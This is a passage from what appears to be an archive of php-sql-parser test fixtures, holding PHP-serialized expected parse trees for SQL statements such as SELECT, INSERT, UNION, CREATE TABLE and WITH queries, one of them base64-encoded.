'146')";s:4:"data";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:11:"'DBVersion'";s:8:"sub_tree";b:0;s:8:"position";i:37;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'146'";s:8:"sub_tree";b:0;s:8:"position";i:50;}}s:5:"delim";b:0;s:8:"position";i:36;}}}PK     \8&5  5  I  vendor/greenlion/php-sql-parser/tests/expected/parser/comment4.serializednu [        a:3:{s:6:"SELECT";a:1:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:4:"test";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"test";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:4:"test";s:8:"sub_tree";b:0;}}s:5:"WHERE";a:8:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}i:3;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:34:"-- inline comment in WHERE section";}i:4;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:3:"AND";s:8:"sub_tree";b:0;}i:5;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;}i:6;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:7;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"4";s:8:"sub_tree";b:0;}}}PK     \ɨwz  z  F  vendor/greenlion/php-sql-parser/tests/expected/parser/show4.serializednu [        a:1:{s:4:"SHOW";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"ENGINE";s:8:"position";i:5;}i:1;a:5:{s:9:"expr_type";s:6:"engine";s:4:"name";s:3:"foo";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:3:"foo";}}s:9:"base_expr";s:3:"foo";s:8:"position";i:12;}i:2;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:6:"STATUS";s:8:"position";i:16;}}}PK     \u  u  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue84c.serializednu [        a:2:{s:6:"INSERT";a:3:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"INTO";s:8:"position";i:7;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:12:"newTablename";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:12:"newTablename";}}s:5:"alias";b:0;s:9:"base_expr";s:12:"newTablename";s:8:"position";i:12;}i:2;a:4:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:24:"(field1, field2, field3)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field1";}}s:8:"position";i:26;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field2";}}s:8:"position";i:34;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:6:"field3";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"field3";}}s:8:"position";i:42;}}s:8:"position";i:25;}}s:6:"VALUES";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:9:"(1, 2, 3)";s:4:"data";a:3:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:58;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;s:8:"position";i:61;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;s:8:"position";i:64;}}s:5:"delim";b:0;s:8:"position";i:57;}}}PK     \	)
  
  G  vendor/greenlion/php-sql-parser/tests/expected/parser/union3.serializednu [        a:2:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:7;}}s:4:"FROM";a:1:{i:0;a:9:{s:9:"expr_type";s:16:"table_expression";s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:1:"f";s:9:"base_expr";s:4:"as f";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"f";}}s:8:"position";i:93;}s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:76:"(SELECT y FROM  z  WHERE (y > 2) ) UNION ALL (SELECT a FROM z WHERE (y < 2))";s:8:"sub_tree";a:1:{s:9:"UNION ALL";a:2:{i:0;a:3:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:23;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"z";s:8:"sub_tree";b:0;s:8:"position";i:31;}}s:5:"WHERE";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(y > 2)";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:8:"position";i:41;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;s:8:"position";i:43;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;s:8:"position";i:45;}}s:8:"position";i:40;}}}i:1;a:3:{s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:68;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"z";s:8:"sub_tree";b:0;s:8:"position";i:75;}}s:5:"WHERE";a:1:{i:0;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(y < 2)";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:8:"position";i:84;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"<";s:8:"sub_tree";b:0;s:8:"position";i:86;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"2";s:8:"sub_tree";b:0;s:8:"position";i:88;}}s:8:"position";i:83;}}}}}s:8:"position";i:15;}}}PK     \:p  p  L  vendor/greenlion/php-sql-parser/tests/expected/parser/allcolumns5.serializednu [        a:2:{s:6:"SELECT";a:2:{i:0;a:6:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"*";s:8:"sub_tree";b:0;s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:5:"tests";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:5:"tests";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:5:"tests";s:8:"sub_tree";b:0;}}}PK     \Sw	  	  I  vendor/greenlion/php-sql-parser/tests/expected/parser/issue33e.serializednu [        a:2:{s:6:"CREATE";a:4:{s:9:"expr_type";s:5:"table";s:10:"not-exists";b:0;s:9:"base_expr";s:5:"TABLE";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"TABLE";}}}s:5:"TABLE";a:5:{s:9:"base_expr";s:6:"hohoho";s:4:"name";s:6:"hohoho";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:6:"hohoho";}}s:10:"create-def";a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:61:" (a varchar(1000), PRIMARY KEY USING btree (a), CHECK(a > 5))";s:8:"sub_tree";a:3:{i:0;a:3:{s:9:"expr_type";s:10:"column-def";s:9:"base_expr";s:15:"a varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}i:1;a:7:{s:9:"expr_type";s:11:"column-type";s:9:"base_expr";s:13:"varchar(1000)";s:8:"sub_tree";a:2:{i:0;a:3:{s:9:"expr_type";s:9:"data-type";s:9:"base_expr";s:7:"varchar";s:6:"length";s:4:"1000";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:6:"(1000)";s:8:"sub_tree";a:1:{i:0;a:2:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:4:"1000";}}}}s:6:"unique";b:0;s:8:"nullable";b:1;s:8:"auto_inc";b:0;s:7:"primary";b:0;}}}i:1;a:3:{s:9:"expr_type";s:11:"primary-key";s:9:"base_expr";s:27:"PRIMARY KEY USING btree (a)";s:8:"sub_tree";a:4:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:7:"PRIMARY";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:3:"KEY";}i:2;a:3:{s:9:"expr_type";s:10:"index-type";s:9:"base_expr";s:11:"USING btree";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"USING";}i:1;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"btree";}}}i:3;a:3:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:3:"(a)";s:8:"sub_tree";a:1:{i:0;a:6:{s:9:"expr_type";s:12:"index-column";s:9:"base_expr";s:1:"a";s:4:"name";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:6:"length";b:0;s:3:"dir";b:0;}}}}}i:2;a:3:{s:9:"expr_type";s:5:"check";s:9:"base_expr";s:12:"CHECK(a > 5)";s:8:"sub_tree";a:2:{i:0;a:2:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:5:"CHECK";}i:1;a:3:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:7:"(a > 5)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:1:"a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:">";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}}}}}s:7:"options";b:0;}}PK     \)    J  vendor/greenlion/php-sql-parser/tests/expected/parser/issue136b.serializednu [        a:3:{s:4:"WITH";a:2:{i:0;a:4:{s:9:"expr_type";s:18:"subquery-factoring";s:9:"base_expr";s:115:"myTableName AS (
                select firstname, lastname from employee where lastname = 'test'
                )";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:15:"temporary-table";s:4:"name";s:11:"myTableName";s:9:"base_expr";s:11:"myTableName";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"myTableName";}}s:8:"position";i:5;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"AS";s:8:"position";i:17;}i:2;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:100:"(
                select firstname, lastname from employee where lastname = 'test'
                )";s:8:"sub_tree";a:3:{s:6:"SELECT";a:2:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"firstname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"firstname";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:45;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:8:"lastname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"lastname";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:56;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"employee";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"employee";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"employee";s:8:"sub_tree";b:0;s:8:"position";i:70;}}s:5:"WHERE";a:3:{i:0;a:5:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:8:"lastname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"lastname";}}s:8:"sub_tree";b:0;s:8:"position";i:85;}i:1;a:4:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;s:8:"position";i:94;}i:2;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:6:"'test'";s:8:"sub_tree";b:0;s:8:"position";i:96;}}}s:8:"position";i:20;}}s:8:"position";i:5;}i:1;a:4:{s:9:"expr_type";s:18:"subquery-factoring";s:9:"base_expr";s:58:"another_table AS (
        		select x,y FROM z
        		)";s:8:"sub_tree";a:3:{i:0;a:5:{s:9:"expr_type";s:15:"temporary-table";s:4:"name";s:13:"another_table";s:9:"base_expr";s:13:"another_table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"another_table";}}s:8:"position";i:122;}i:1;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:2:"AS";s:8:"position";i:136;}i:2;a:4:{s:9:"expr_type";s:18:"bracket_expression";s:9:"base_expr";s:41:"(
        		select x,y FROM z
        		)";s:8:"sub_tree";a:2:{s:6:"SELECT";a:2:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"x";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"x";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:158;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:1:"y";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"y";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:160;}}s:4:"FROM";a:1:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:1:"z";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"z";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:1:"z";s:8:"sub_tree";b:0;s:8:"position";i:167;}}}s:8:"position";i:139;}}s:8:"position";i:122;}}s:6:"SELECT";a:1:{i:0;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"firstname";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"firstname";}}s:8:"sub_tree";b:0;s:5:"delim";b:0;s:8:"position";i:204;}}s:4:"FROM";a:2:{i:0;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:11:"myTableName";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:11:"myTableName";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:11:"myTableName";s:8:"sub_tree";b:0;s:8:"position";i:219;}i:1;a:11:{s:9:"expr_type";s:5:"table";s:5:"table";s:13:"another_table";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"another_table";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:5:"CROSS";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:13:"another_table";s:8:"sub_tree";b:0;s:8:"position";i:232;}}}PK     \$D    K  vendor/greenlion/php-sql-parser/tests/expected/parser/variables2.serializednu [        a:3:{s:6:"SELECT";a:2:{i:0;a:5:{s:9:"expr_type";s:18:"bracket_expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"a";s:9:"base_expr";s:4:"AS a";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"a";}}}s:9:"base_expr";s:9:"(@aa:=id)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@aa";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"aa";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:2:":=";s:8:"sub_tree";b:0;}i:2;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:2:"id";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"id";}}s:8:"sub_tree";b:0;}}s:5:"delim";s:1:",";}i:1;a:5:{s:9:"expr_type";s:18:"bracket_expression";s:5:"alias";a:4:{s:2:"as";b:1;s:4:"name";s:1:"b";s:9:"base_expr";s:4:"AS b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}}s:9:"base_expr";s:7:"(@aa+3)";s:8:"sub_tree";a:3:{i:0;a:4:{s:9:"expr_type";s:13:"user_variable";s:9:"base_expr";s:3:"@aa";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:2:"aa";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"+";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"3";s:8:"sub_tree";b:0;}}s:5:"delim";b:0;}}s:4:"FROM";a:1:{i:0;a:10:{s:9:"expr_type";s:5:"table";s:5:"table";s:8:"tbl_name";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:8:"tbl_name";}}s:5:"alias";b:0;s:5:"hints";b:0;s:9:"join_type";s:4:"JOIN";s:8:"ref_type";b:0;s:10:"ref_clause";b:0;s:9:"base_expr";s:8:"tbl_name";s:8:"sub_tree";b:0;}}s:6:"HAVING";a:3:{i:0;a:4:{s:9:"expr_type";s:5:"alias";s:9:"base_expr";s:1:"b";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:1:"b";}}s:8:"sub_tree";b:0;}i:1;a:3:{s:9:"expr_type";s:8:"operator";s:9:"base_expr";s:1:"=";s:8:"sub_tree";b:0;}i:2;a:3:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"5";s:8:"sub_tree";b:0;}}}PK     \7h%a    J  vendor/greenlion/php-sql-parser/tests/expected/parser/issue56a1.serializednu [        a:2:{s:6:"INSERT";a:4:{i:0;a:3:{s:9:"expr_type";s:8:"reserved";s:9:"base_expr";s:4:"into";s:8:"position";i:31;}i:1;a:6:{s:9:"expr_type";s:5:"table";s:5:"table";s:9:"TableName";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:9:"TableName";}}s:5:"alias";b:0;s:9:"base_expr";s:9:"TableName";s:8:"position";i:36;}i:2;a:4:{s:9:"expr_type";s:11:"column-list";s:9:"base_expr";s:11:"(Col1,col2)";s:8:"sub_tree";a:2:{i:0;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"Col1";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"Col1";}}s:8:"position";i:47;}i:1;a:4:{s:9:"expr_type";s:6:"colref";s:9:"base_expr";s:4:"col2";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:4:"col2";}}s:8:"position";i:52;}}s:8:"position";i:46;}i:3;a:2:{s:9:"expr_type";s:7:"comment";s:5:"value";s:23:"/* a comment -- haha */";}}s:6:"VALUES";a:1:{i:0;a:5:{s:9:"expr_type";s:6:"record";s:9:"base_expr";s:9:"(1,'pol')";s:4:"data";a:2:{i:0;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:1:"1";s:8:"sub_tree";b:0;s:8:"position";i:65;}i:1;a:4:{s:9:"expr_type";s:5:"const";s:9:"base_expr";s:5:"'pol'";s:8:"sub_tree";b:0;s:8:"position";i:67;}}s:5:"delim";b:0;s:8:"position";i:64;}}}PK     \Y%4  4  G  vendor/greenlion/php-sql-parser/tests/expected/parser/union4.serializednu [        YToyOntzOjU6IlVOSU9OIjthOjI6e2k6MDthOjI6e3M6NjoiU0VMRUNUIjthOjE6e2k6MDthOjc6e3M6OToiZXhwcl90eXBlIjtzOjY6ImNvbHJlZiI7czo1OiJhbGlhcyI7YjowO3M6OToiYmFzZV9leHByIjtzOjQ6ImNvbEEiO3M6OToibm9fcXVvdGVzIjthOjI6e3M6NToiZGVsaW0iO2I6MDtzOjU6InBhcnRzIjthOjE6e2k6MDtzOjQ6ImNvbEEiO319czo4OiJzdWJfdHJlZSI7YjowO3M6NToiZGVsaW0iO2I6MDtzOjg6InBvc2l0aW9uIjtpOjc7fX1zOjQ6IkZST00iO2E6MTp7aTowO2E6MTE6e3M6OToiZXhwcl90eXBlIjtzOjU6InRhYmxlIjtzOjU6InRhYmxlIjtzOjQ6InRlc3QiO3M6OToibm9fcXVvdGVzIjthOjI6e3M6NToiZGVsaW0iO2I6MDtzOjU6InBhcnRzIjthOjE6e2k6MDtzOjQ6InRlc3QiO319czo1OiJhbGlhcyI7YTo1OntzOjI6ImFzIjtiOjA7czo0OiJuYW1lIjtzOjE6ImEiO3M6OToibm9fcXVvdGVzIjthOjI6e3M6NToiZGVsaW0iO2I6MDtzOjU6InBhcnRzIjthOjE6e2k6MDtzOjE6ImEiO319czo5OiJiYXNlX2V4cHIiO3M6MToiYSI7czo4OiJwb3NpdGlvbiI7aToyMjt9czo1OiJoaW50cyI7YjowO3M6OToiam9pbl90eXBlIjtzOjQ6IkpPSU4iO3M6ODoicmVmX3R5cGUiO2I6MDtzOjEwOiJyZWZfY2xhdXNlIjtiOjA7czo5OiJiYXNlX2V4cHIiO3M6NjoidGVzdCBhIjtzOjg6InN1Yl90cmVlIjtiOjA7czo4OiJwb3NpdGlvbiI7aToxNzt9fX1pOjE7YToyOntzOjY6IlNFTEVDVCI7YToxOntpOjA7YTo3OntzOjk6ImV4cHJfdHlwZSI7czo2OiJjb2xyZWYiO3M6NToiYWxpYXMiO2I6MDtzOjk6ImJhc2VfZXhwciI7czo0OiJjb2xCIjtzOjk6Im5vX3F1b3RlcyI7YToyOntzOjU6ImRlbGltIjtiOjA7czo1OiJwYXJ0cyI7YToxOntpOjA7czo0OiJjb2xCIjt9fXM6ODoic3ViX3RyZWUiO2I6MDtzOjU6ImRlbGltIjtiOjA7czo4OiJwb3NpdGlvbiI7aTo1Mzt9fXM6NDoiRlJPTSI7YToxOntpOjA7YToxMTp7czo5OiJleHByX3R5cGUiO3M6NToidGFibGUiO3M6NToidGFibGUiO3M6NDoidGVzdCI7czo5OiJub19xdW90ZXMiO2E6Mjp7czo1OiJkZWxpbSI7YjowO3M6NToicGFydHMiO2E6MTp7aTowO3M6NDoidGVzdCI7fX1zOjU6ImFsaWFzIjthOjU6e3M6MjoiYXMiO2I6MTtzOjQ6Im5hbWUiO3M6MToiYiI7czo5OiJiYXNlX2V4cHIiO3M6NDoiYXMgYiI7czo5OiJub19xdW90ZXMiO2E6Mjp7czo1OiJkZWxpbSI7YjowO3M6NToicGFydHMiO2E6MTp7aTowO3M6MToiYiI7fX1zOjg6InBvc2l0aW9uIjtpOjc3O31zOjU6ImhpbnRzIjtiOjA7czo5OiJqb2luX3R5cGUiO3M6NDoiSk9JTiI7czo4OiJyZWZfdHlwZSI7YjowO3M6MTA6InJlZl9jbGF1c2UiO2I6MDtzOjk6ImJhc2VfZXhwciI7czoxODoidGVzdCAKICAgICAgICBhcyBiIjtzOjg6InN1Yl90cmVlIjtiOjA7czo4OiJwb3NpdGlvbiI7aTo2Mzt9fX19aTowO2E6MTp7czo1OiJPUkRFUiI7YToxOntpOjA7YTo0OntzOjk6ImV4cHJfdHlwZSI7czozOiJwb3MiO3M6OToiYmFzZV9leHByIjtzOjE6IjEiO3M6OToiZGlyZWN0aW9uIjtzOjM6IkFTQyI7czo4OiJwb3NpdGlvbiI7aTo5MTt9fX19PK     \Y  Y  H  vendor/greenlion/php-sql-parser/tests/expected/parser/issue12.serializednu [        a:5:{s:6:"SELECT";a:3:{i:0;a:6:{s:9:"expr_type";s:8:"reserved";s:5:"alias";b:0;s:9:"base_expr";s:19:"SQL_CALC_FOUND_ROWS";s:8:"sub_tree";b:0;s:5:"delim";s:1:" ";s:8:"position";i:7;}i:1;a:7:{s:9:"expr_type";s:6:"colref";s:5:"alias";b:0;s:9:"base_expr";s:9:"SmTable.*";s:9:"no_quotes";a:2:{s:5:"delim";s:1:".";s:5:"parts";a:2:{i:0;s:7:"SmTable";i:1;s:1:"*";}}s:8:"sub_tree";b:0;s:5:"delim";s:1:",";s:8:"position";i:27;}i:2;a:6:{s:9:"expr_type";s:10:"expression";s:5:"alias";a:5:{s:2:"as";b:1;s:4:"name";s:13:"keyword_score";s:9:"base_expr";s:16:"AS keyword_score";s:9:"no_quotes";a:2:{s:5:"delim";b:0;s:5:"parts";a:1:{i:0;s:13:"keyword_score";}}s:8:"position";i:125;}s:9:"base_expr";s:103:"MATCH (SmTable.fulltextsearch_keyword) AGAINST ('google googles' WITH QUERY EXPANSION) AS 